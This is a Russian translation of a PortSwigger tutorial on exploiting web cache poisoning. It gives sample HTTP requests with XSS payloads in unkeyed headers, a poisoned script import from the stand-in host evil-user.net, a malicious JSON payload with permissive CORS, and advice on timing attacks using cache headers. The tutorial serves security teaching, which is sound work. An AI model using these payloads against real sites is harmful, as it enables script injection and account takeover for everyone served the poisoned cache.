Использование недостатков дизайна кэша

Использование отравления веб-кеша для проведения XSS – атаки

Возможно, самая простая уязвимость отравления веб-кэша, которую можно использовать, — это когда ввод без ключа отражается в кешируемом ответе без надлежащей очистки.

Например, рассмотрим следующий запрос и ответ:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

Здесь значение X-Forwarded-Hostзаголовка используется для динамического создания URL-адреса изображения Open Graph, который затем отражается в ответе. Что особенно важно для отравления веб-кэша, X-Forwarded-Hostзаголовок часто не имеет ключа. В этом примере кеш потенциально может быть отравлен ответом, содержащим простую полезную нагрузку XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

Если бы этот ответ был кэширован, все пользователи, получившие доступ, получили /en?region=ukбы эту полезную нагрузку XSS. Этот пример просто вызывает появление предупреждения в браузере жертвы, но реальная атака потенциально может украсть пароли и взломать учетные записи пользователей.

Использование отравления веб-кеша для использования небезопасной обработки импорта ресурсов

Некоторые веб-сайты используют заголовки без ключа для динамического создания URL-адресов для импорта ресурсов, таких как внешние файлы JavaScript. В этом случае, если злоумышленник изменит значение соответствующего заголовка на домен, который он контролирует, он потенциально может манипулировать URL-адресом, чтобы вместо этого указать на свой собственный вредоносный файл JavaScript.

Если ответ, содержащий этот вредоносный URL-адрес, кэшируется, файл JavaScript злоумышленника будет импортирован и выполнен в сеансе браузера любого пользователя, чей запрос имеет соответствующий ключ кэша.

GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0

HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>

Использование отравления веб-кэша для использования уязвимостей в обработке файлов cookie

Файлы cookie часто используются для динамического создания контента в ответе. Типичным примером может быть файл cookie, указывающий предпочитаемый пользователем язык, который затем используется для загрузки соответствующей версии страницы:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close

В этом примере запрашивается польская версия сообщения в блоге. Обратите внимание, что информация о том, какую языковую версию использовать, содержится только в Cookieзаголовке. Предположим, что ключ кеша содержит строку запроса и Hostзаголовок, но не сам Cookieзаголовок. В этом случае, если ответ на этот запрос кэшируется, все последующие пользователи, пытавшиеся получить доступ к этому сообщению в блоге, также получат польскую версию, независимо от того, какой язык они фактически выбрали.

Эта ошибочная обработка файлов cookie кешем также может быть использована с использованием методов отравления веб-кэша. Однако на практике этот вектор встречается относительно редко по сравнению с отравлением кэша на основе заголовков. Когда существуют уязвимости, связанные с отравлением кеша на основе файлов cookie, они, как правило, быстро выявляются и устраняются, потому что законные пользователи случайно отравили кеш.

Использование нескольких заголовков для эксплуатации уязвимостей отравления веб-кэша

Некоторые веб-сайты уязвимы для простых эксплойтов с отравлением веб-кэша, как показано выше. Однако другие требуют более изощренных атак и становятся уязвимыми только тогда, когда злоумышленник может создать запрос, который манипулирует несколькими неключевыми входными данными.

Например, предположим, что для веб-сайта требуется безопасная связь с использованием HTTPS. Чтобы обеспечить это, если получен запрос, использующий другой протокол, веб-сайт динамически генерирует перенаправление на себя, которое использует HTTPS:

GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http

HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random

Само по себе такое поведение не обязательно уязвимо. Однако, объединив это с тем, что мы узнали ранее об уязвимостях в динамически генерируемых URL-адресах, злоумышленник потенциально может использовать это поведение для создания кэшируемого ответа, который перенаправляет пользователей на вредоносный URL-адрес.

Использование ответов, раскрывающих слишком много информации

Иногда веб-сайты делают себя более уязвимыми для отравления веб-кэша, выдавая слишком много информации о себе и своем поведении.

Директивы управления кэшем

Одна из проблем при построении атаки с отравлением веб-кэша заключается в том, чтобы гарантировать, что вредоносный ответ будет кэширован. Это может потребовать много ручных проб и ошибок, чтобы изучить, как ведет себя кеш. Однако иногда ответы явно раскрывают некоторую информацию, необходимую злоумышленнику для успешного отравления кеша.

Одним из таких примеров является ситуация, когда ответы содержат информацию о том, как часто кеш очищается или сколько лет текущему кэшированному ответу:

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

Хотя это не ведет напрямую к отравлению веб-кэша, оно избавляет потенциального злоумышленника от некоторых ручных усилий, потому что он точно знает, когда отправлять свою полезную нагрузку, чтобы обеспечить ее кеширование.

Это знание также позволяет проводить гораздо более тонкие атаки. Вместо того, чтобы бомбардировать внутренний сервер запросами до тех пор, пока один из них не застрянет, что может вызвать подозрения, злоумышленник может тщательно рассчитать время одного вредоносного запроса, чтобы отравить кеш.

Изменить заголовок

Элементарный способ, которым Varyчасто используется заголовок, также может помочь злоумышленникам. Заголовок Varyопределяет список дополнительных заголовков, которые следует рассматривать как часть ключа кэша, даже если они обычно не имеют ключей. Он обычно используется, чтобы указать, что User-Agentзаголовок имеет ключ, например, чтобы, если мобильная версия веб-сайта была кэширована, она не была ошибочно предоставлена ​​немобильным пользователям.

Эта информация также может быть использована для построения многоэтапной атаки, нацеленной на определенное подмножество пользователей. Например, если злоумышленник знает, что User-Agentзаголовок является частью ключа кэша, то, сначала определив пользовательский агент предполагаемых жертв, он может адаптировать атаку таким образом, чтобы затронуты были только пользователи с этим пользовательским агентом. В качестве альтернативы они могли бы выяснить, какой пользовательский агент чаще всего использовался для доступа к сайту, и адаптировать атаку таким образом, чтобы затронуть максимальное количество пользователей.

Использование отравления веб-кэша для использования уязвимостей на основе DOM

Как обсуждалось ранее, если веб-сайт небезопасно использует заголовки без ключа для импорта файлов, злоумышленник потенциально может использовать это для импорта вредоносного файла. Однако это относится не только к файлам JavaScript.

Многие веб-сайты используют JavaScript для получения и обработки дополнительных данных из серверной части. Если скрипт обрабатывает данные с сервера небезопасным образом, это потенциально может привести ко всем видам уязвимостей на основе DOM.

Например, злоумышленник может отравить кеш ответом, который импортирует файл JSON, содержащий следующую полезную нагрузку:

{"someProperty" : "<svg onload=alert(1)>"}

Если затем веб-сайт передает значение этого свойства в приемник, поддерживающий динамическое выполнение кода, полезная нагрузка будет выполняться в контексте сеанса браузера жертвы.

Если вы используете отравление веб-кэша, чтобы заставить веб-сайт загружать вредоносные данные JSON с вашего сервера, вам может потребоваться предоставить веб-сайту доступ к JSON с помощью CORS :

HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *

{
"malicious json" : "malicious json"
}

Цепочка уязвимостей отравления веб-кэша

Как мы видели ранее, иногда злоумышленник может получить вредоносный ответ только путем создания запроса с использованием нескольких заголовков. Но то же самое верно и для различных типов атак. Отравление веб-кэша иногда требует от злоумышленника объединения нескольких техник, которые мы обсуждали. Объединяя вместе различные уязвимости, часто можно выявить дополнительные уровни уязвимости, которые изначально были неиспользуемыми.

Статья является переводом portswigger.net